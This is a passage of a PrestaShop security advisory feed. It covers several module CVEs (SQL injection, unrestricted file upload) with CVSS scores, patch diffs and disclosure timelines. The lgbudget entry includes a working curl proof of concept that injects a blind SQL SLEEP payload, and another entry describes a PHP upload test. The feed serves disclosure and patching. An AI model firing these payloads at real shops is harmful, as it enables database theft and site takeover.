<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/leurlrewrite/override/classes/Dispatcher.php
</span><span class="gi">+++ b/modules/leurlrewrite/override/classes/Dispatcher.php
</span><span class="p">@@ -88,7 +88,7 @@</span> class Dispatcher extends DispatcherCore {
                if ($controller == 'pagenotfound' || $controller == '404' || $controller === false) {
             //$url_rewrite = preg_replace('#^' . preg_quote(Context::getContext()-&gt;shop-&gt;getBaseURI(), '#') . '#i', '', $_SERVER['REQUEST_URI']);
             $url_rewrite = trim($this-&gt;request_uri, '/');
<span class="gd">-            $results = Db::getInstance()-&gt;executeS("SELECT id_desc, type, lang_code FROM " . _DB_PREFIX_ . "lecm_rewrite WHERE link_rewrite = '" . $url_rewrite . "'");
</span><span class="gi">+            $results = Db::getInstance()-&gt;executeS("SELECT id_desc, type, lang_code FROM " . _DB_PREFIX_ . "lecm_rewrite WHERE link_rewrite = '" . pSQL($url_rewrite) . "'");
</span>             if ($results) {
                 $rewrite = array_pop($results);
                 $controller = $rewrite['type'];
</code></pre></div></div>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/override/classes/Dispatcher.php
</span><span class="gi">+++ b/override/classes/Dispatcher.php
</span><span class="p">@@ -88,7 +88,7 @@</span> class Dispatcher extends DispatcherCore {
                if ($controller == 'pagenotfound' || $controller == '404' || $controller === false) {
             //$url_rewrite = preg_replace('#^' . preg_quote(Context::getContext()-&gt;shop-&gt;getBaseURI(), '#') . '#i', '', $_SERVER['REQUEST_URI']);
             $url_rewrite = trim($this-&gt;request_uri, '/');
<span class="gd">-            $results = Db::getInstance()-&gt;executeS("SELECT id_desc, type, lang_code FROM " . _DB_PREFIX_ . "lecm_rewrite WHERE link_rewrite = '" . $url_rewrite . "'");
</span><span class="gi">+            $results = Db::getInstance()-&gt;executeS("SELECT id_desc, type, lang_code FROM " . _DB_PREFIX_ . "lecm_rewrite WHERE link_rewrite = '" . pSQL($url_rewrite) . "'");
</span>             if ($results) {
                 $rewrite = array_pop($results);
                 $controller = $rewrite['type'];
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyond 1.0.4.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-03</td>
      <td>Issue discovered during a code reviews by 202 ecommerce</td>
    </tr>
    <tr>
      <td>2023-02-03</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2023-02-04</td>
      <td>The author publish a new package on its website</td>
    </tr>
    <tr>
      <td>2023-02-12</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-04-13</td>
      <td>Fix published on addons PrestaShop marketplace</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://litextension.com/migration-services/seo-urls-migrations.html#page%232">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27844">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “LitExtension Url Plugin” (leurlrewrite) for PrestaShop, an attacker can perform SQL injection up to 1.0. Even though the module has been patched in version 1.0, the version number was not incremented at the time. We consider the issue resolved in versions after 1.0.]]></summary></entry><entry><title type="html">[CVE-2023-27032] Improper neutralization of SQL parameter in Idnovate - AdvancedPopupCreator module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/04/11/advancedpopupcreator.html" rel="alternate" type="text/html" title="[CVE-2023-27032] Improper neutralization of SQL parameter in Idnovate - AdvancedPopupCreator module for PrestaShop" /><published>2023-04-11T00:00:00+00:00</published><updated>2023-04-11T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/04/11/advancedpopupcreator</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/04/11/advancedpopupcreator.html"><![CDATA[<p>In the module “Advanced Popup Creator” (advancedpopupcreator) from Idnovate for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27032">CVE-2023-27032</a></li>
  <li><strong>Published at</strong>: 2023-04-11</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: advancedpopupcreator</li>
  <li><strong>Impacted release</strong>: &lt;= 1.1.24 (1.1.25 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Idnovate</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">AdvancedPopup::getPopups()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong> : Can be easily detected by blind sql injection pentest, so blackhats already know it - and will certainly bypass some WAF. For this reason, POC is not given as usual.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to exposed tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-1124">Patch from 1.1.24</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">1.1.24/advancedpopupcreator/classes/AdvancedPopup.php
</span>
--- 1.1.24/advancedpopupcreator/classes/AdvancedPopup.php
<span class="gi">+++ 1.1.25/advancedpopupcreator/classes/AdvancedPopup.php
</span><span class="p">@@ -273,7 +273,7 @@</span> class AdvancedPopup extends ObjectModel
                 OR FIND_IN_SET("'.Tools::getRemoteAddr().'", `display_ip_string`))
             AND (`display_url_string` = ""
                 OR `display_url_string` IS NULL
<span class="gd">-                OR INSTR("'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'", `display_url_string`) &gt; 0)
</span><span class="gi">+                OR INSTR("'.pSQL($_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']).'", `display_url_string`) &gt; 0)
</span>             ';

         if ((int)$this-&gt;context-&gt;customer-&gt;id_gender) {
<span class="p">@@ -584,6 +584,8 @@</span> class AdvancedPopup extends ObjectModel
             $zone = Country::getIdZone($this-&gt;context-&gt;country-&gt;id);
         }

+        $availablePopups = (strpos($availablePopups, ',') !== false ? implode(',', array_map('intval', explode(',', $availablePopups))) : (int) $availablePopups);
<span class="gi">+
</span>         $query = 'SELECT *
             FROM `'._DB_PREFIX_.$this-&gt;def['table'].'`
             INNER JOIN `'. _DB_PREFIX_.$this-&gt;def['table'].'_lang` ON `'._DB_PREFIX_.$this-&gt;def['table'].'`.`id_advancedpopup` = `'._DB_PREFIX_.$this-&gt;def['table']. '_lang`.`id_advancedpopup`


</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>advancedpopupcreator</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-17</td>
      <td>Issue discovered during a code review by <a href="https://ambris.com/">Ambris</a> and <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2023-02-17</td>
      <td>Contact Addons security Team</td>
    </tr>
    <tr>
      <td>2022-02-17</td>
      <td>Fix published within 4 hours by author on addons PrestaShop marketplace</td>
    </tr>
    <tr>
      <td>2023-02-17</td>
      <td>Request CVE ID</td>
    </tr>
    <tr>
      <td>2023-04-06</td>
      <td>Publication of the security advisory without delay since exploit can be too easily seen</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/pop-up/23773-popup-on-entry-exit-popup-add-product-and-newsletter.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27032">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;Ambris Informatique&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Advanced Popup Creator” (advancedpopupcreator) from Idnovate for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-27033] Unrestricted Upload of File with Dangerous Type in Cdesigner module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/04/06/cdesigner-CWE434.html" rel="alternate" type="text/html" title="[CVE-2023-27033] Unrestricted Upload of File with Dangerous Type in Cdesigner module for PrestaShop" /><published>2023-04-06T00:00:00+00:00</published><updated>2023-04-06T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/04/06/cdesigner-CWE434</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/04/06/cdesigner-CWE434.html"><![CDATA[<p>In the module “Cdesigner” (cdesigner) up to 3.2.1 (3.2.2 fix the issue), a guest can upload files with extensions .php.+ (like .php7)</p>

<p>Note : .php extension is correctly block so it will be harmless for most servers’s setups.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27033">CVE-2023-27033</a></li>
  <li><strong>Published at</strong>: 2023-04-06</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: cdesigner</li>
  <li><strong>Impacted release</strong>: &gt; 3.1.3, &lt;= 3.2.1 (3.2.2 fix the issue)</li>
  <li><strong>Product author</strong>: Prestaeg</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/434.html">CWE-434</a></li>
  <li><strong>Severity</strong>: critical (10)</li>
</ul>

<h2 id="description">Description</h2>

<p>Important : If you use default configuration for your server, <em>you should be safe</em> - which should be the case of the majority of servers, so don’t worry too much about this CVE.</p>

<p><em>We are forced to tag it as critical since it will be critical for some setups, but for the majority, it should be completly harmless.</em></p>

<p>You can check if you are vulnerable by uploading files with extensions : .php3 / .php4 / .php5 / .php7 / .php8 with this content : &lt;?php echo (21+21); - when you make a HTTP call against theses files, if you do not see 42, all is OK else, you service is vulnerable, contact without delay your hoster.</p>

<p>The method <code class="language-plaintext highlighter-rouge">CdesignerSaverotateModuleFrontController::initContent()</code> misuses strpos which can lead to upload .phpX files, depending on your server’s setup, which will lead to a critical vulnerability <a href="https://cwe.mitre.org/data/definitions/94.html">CWE-94</a>.</p>

<p><strong>This exploit is actively exploited in the wild</strong></p>

<p><strong>WARNING</strong> : If your service is vulnerable, be warn that this exploit will bypass some WAF (base64 payloads)</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: changed</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Steal data</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.1.8/cdesigner/controllers/front/saverotate.php
</span><span class="gi">+++ 3.2.2/cdesigner/controllers/front/saverotate.php
</span>
+		$allowed = array('jpg', 'jpeg', 'png');
 		$found = false;
 		$not_allowed =array('.zip','.rar','.html','.tar','.php','.exe','.js','.py','.jsp','.asp','.txt', '.pht','.phtml', '.shtml', '.asa', '.cer', '.asax', '.swf', '.xap');
<span class="err">...</span>
-		if ($img != '')
<span class="gi">+		if ($img != '' &amp;&amp; in_array( $ext, $allowed ))
</span> 		{
 			$decoded = base64_decode(str_replace('data:image/'.$ext.';base64,', '', $img));
 			file_put_contents(dirname(__FILE__).'/../../views/img/upload/_'.$dates.'.'.$ext, $decoded);
<span class="gi">+		} else {
+			echo 'Suspect Operation !!!';
+			exit();
</span> 		}
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to apply patch without delay if your setup is vulnerable</li>
  <li>You must not allowed PHP Interpreter on anything than files with an extension strictly equal to “.php”.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-19</td>
      <td>Issue discovered after a security audit by <a href="https://www.touchweb.fr">TouchWeb</a></td>
    </tr>
    <tr>
      <td>2023-02-19</td>
      <td>Contact PrestaShop Addons security Team</td>
    </tr>
    <tr>
      <td>2023-02-19</td>
      <td>Request CVE ID</td>
    </tr>
    <tr>
      <td>2023-02-27</td>
      <td>Addons security Team confirm author provide a patch for PS 1.6 and PS 1.7/8.0</td>
    </tr>
    <tr>
      <td>2023-04-06</td>
      <td>Publication of the security advisory without delay : exploit is actively used</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/declinaisons-personnalisation/22677-personnalisation-de-produit-product-customize.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-27033">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Cdesigner” (cdesigner) up to 3.2.1 (3.2.2 fix the issue), a guest can upload files with extensions .php.+ (like .php7)]]></summary></entry><entry><title type="html">[CVE-2023-26860] Improper neutralization of SQL parameter in lgbudget module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/04/04/lgbudget.html" rel="alternate" type="text/html" title="[CVE-2023-26860] Improper neutralization of SQL parameter in lgbudget module for PrestaShop" /><published>2023-04-04T00:00:00+00:00</published><updated>2023-04-04T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/04/04/lgbudget</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/04/04/lgbudget.html"><![CDATA[<p>In the module “Save your carts and buy later” (lgbudget) for PrestaShop, an authenticated user can perform a blind SQL injection up to 1.0.3. Release 1.0.4 fixed this security issue.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26860">CVE-2023-26860</a></li>
  <li><strong>Published at</strong>: 2023-04-04</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: lgbudget</li>
  <li><strong>Impacted release</strong>: &lt; 1.0.4</li>
  <li><strong>Product author</strong>: Línea Gráfica</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Up to 1.0.3, a sensitive SQL call in class <code class="language-plaintext highlighter-rouge">LgBudgetBudgetModuleFrontController::displayAjaxGenerateBudget()</code> can be exploited with a trivial http call to forge a blind SQL injection through the POST or GET submitted “name” variable.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="nt">--cookie-jar</span> cookie.txt <span class="nt">-X</span> POST <span class="nt">-d</span> <span class="s1">'token=&lt;predictable_token&gt;&amp;id_product=123&amp;qty=1&amp;add=1&amp;action=update'</span> <span class="s1">'https://domain.tld/cart'</span>
<span class="o">&amp;&amp;</span> curl <span class="nt">-v</span> <span class="nt">--cookie</span> cookie.txt <span class="s1">'https://domain.tld/module/lgbudget/budget?ajax=1&amp;action=generateBudget&amp;name=test%22,%20%222022-01-01%22%20%29%3BSELECT%20SLEEP%2825%29%3B--'</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p>To fix this issue, in file controllers/front/budget.php line 42, you need to escape $name in <code class="language-plaintext highlighter-rouge">LgBudgetBudgetModuleFrontController::displayAjaxGenerateBudget()</code>.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- v1.0.3/lgbudget/controllers/front/budget.php
</span><span class="gi">+++ v1.0.4/lgbudget/controllers/front/budget.php
</span><span class="p">@@ -39,7 +49,7 @@</span> class LgBudgetBudgetModuleFrontControlle
                     "' . Context::getContext()-&gt;cookie-&gt;checksum .'",
                     ' . (int)$id_shop . ', 
                     ' . (int)$id_customer . ', 
<span class="gd">-                    "' . $name . '", 
</span><span class="gi">+                    "' . pSQL($name) . '", 
</span>                     "' . $date_add . '"
                 )';
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyond 1.0.3. Release 1.0.4 fixed this security issue.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-02-10</td>
      <td>Vulnerability discovered by 202 ecommerce during a security audit</td>
    </tr>
    <tr>
      <td>2023-02-10</td>
      <td>Contact PrestaShop addons</td>
    </tr>
    <tr>
      <td>2023-02-12</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-03-02</td>
      <td>Fix published on addons PrestaShop marketplace</td>
    </tr>
    <tr>
      <td>2023-03-17</td>
      <td>Propose a delay to PrestaShop addons before disclosure</td>
    </tr>
    <tr>
      <td>2023-03-27</td>
      <td>PrestaShop addons confirm the CVE can be published</td>
    </tr>
    <tr>
      <td>2023-04-04</td>
      <td>Publication of the security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/order-management/45282-save-your-carts-and-buy-later-or-send-it.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26860">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Save your carts and buy later” (lgbudget) for PrestaShop, an authenticated user can perform a blind SQL injection up to 1.0.3. Release 1.0.4 fixed this security issue.]]></summary></entry><entry><title type="html">[CVE-2023-28843] Improper neutralization of SQL parameter in PayPal module for PrestaShop 1.6 and 1.5</title><link href="https://security.friendsofpresta.org/modules/2023/03/31/paypal-CVE-2023-28843.html" rel="alternate" type="text/html" title="[CVE-2023-28843] Improper neutralization of SQL parameter in PayPal module for PrestaShop 1.6 and 1.5" /><published>2023-03-31T00:00:00+00:00</published><updated>2023-03-31T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/03/31/paypal-CVE-2023-28843</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/03/31/paypal-CVE-2023-28843.html"><![CDATA[<p>SQL injection vulnerability found in the module “PayPal Official Module” (aka paypal) for PrestaShop from 3.12.0 to 3.16.3. (3.16.4 fix the issue) allow a remote attacker to gain privileges.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-28843">CVE-2023-28843</a></li>
  <li><strong>Published at</strong>: 2023-03-31</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/202ecommerce/paypal/security/advisories/GHSA-66pc-8gh8-mx7m">Github repository of Paypal module for PrestaShop</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: paypal</li>
  <li><strong>Impacted release</strong>: &gt;= 3.12.0 and &lt;= 3.16.3 (3.16.4 fix the issue).</li>
  <li><strong>Product author</strong>: 202 ecommerce</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Up to 3.16.3 (3.16.4 fix the issue), a sensitive SQL call in file ipn.php can be executed with a trivial http call and exploited to forge a blind SQL injection through the POST or GET submitted variable <code class="language-plaintext highlighter-rouge">receiver_email</code>.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Technical and personal data leaks</li>
  <li>Obtain admin access</li>
  <li>Remove all data of the linked PrestaShop</li>
  <li>Display sensitives tables to front-office to unlock potential admin’s ajax scripts of modules protected by token on the ecosystem</li>
</ul>

<h2 id="patch">Patch</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/ipn.php b/ipn.php
index 45525e99..e7808233 100644
</span><span class="gd">--- a/ipn.php
</span><span class="gi">+++ b/ipn.php
</span><span class="p">@@ -255,5 +255,5 @@</span> public function getResult()
     }
 } elseif (Tools::isSubmit('custom') &amp;&amp; (int)Configuration::get('PAYPAL_PAYMENT_METHOD') == HSS) {
     $custom = Tools::jsonDecode(Tools::getValue('custom'), true);
<span class="gd">-    Db::getInstance()-&gt;insert('paypal_hss_email_error', array('id_cart' =&gt; $custom['id_cart'], 'email' =&gt; Tools::getValue('receiver_email')));
</span><span class="gi">+    Db::getInstance()-&gt;insert('paypal_hss_email_error', array('id_cart' =&gt; (int) $custom['id_cart'], 'email' =&gt; pSQL(Tools::getValue('receiver_email', ''))));
</span> }
</code></pre></div></div>

<p><a href="https://github.com/202ecommerce/paypal/commit/2f6884ea1d0fe4b58441699fcc1d6c56c7d733eb">See also</a></p>

<p>You can also install an adhoc module that verify and patch if necessary the vulnerability by following this <a href="https://desk.202-ecommerce.com/portal/en/kb/articles/security-advisory-cve-2023-28843#How_tho_verify_if_my_module_is_vulnerable_">knowledge base</a>.</p>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyond 3.16.3.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix ps_ by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-28</td>
      <td><a href="https://www.touchweb.fr/">TouchWeb.fr</a> discover the vulnerability during an audit</td>
    </tr>
    <tr>
      <td>2023-03-28</td>
      <td>The author verify the scope of versions</td>
    </tr>
    <tr>
      <td>2023-03-28</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-03-28</td>
      <td>Inform PayPal and PrestaShop</td>
    </tr>
    <tr>
      <td>2023-03-31</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
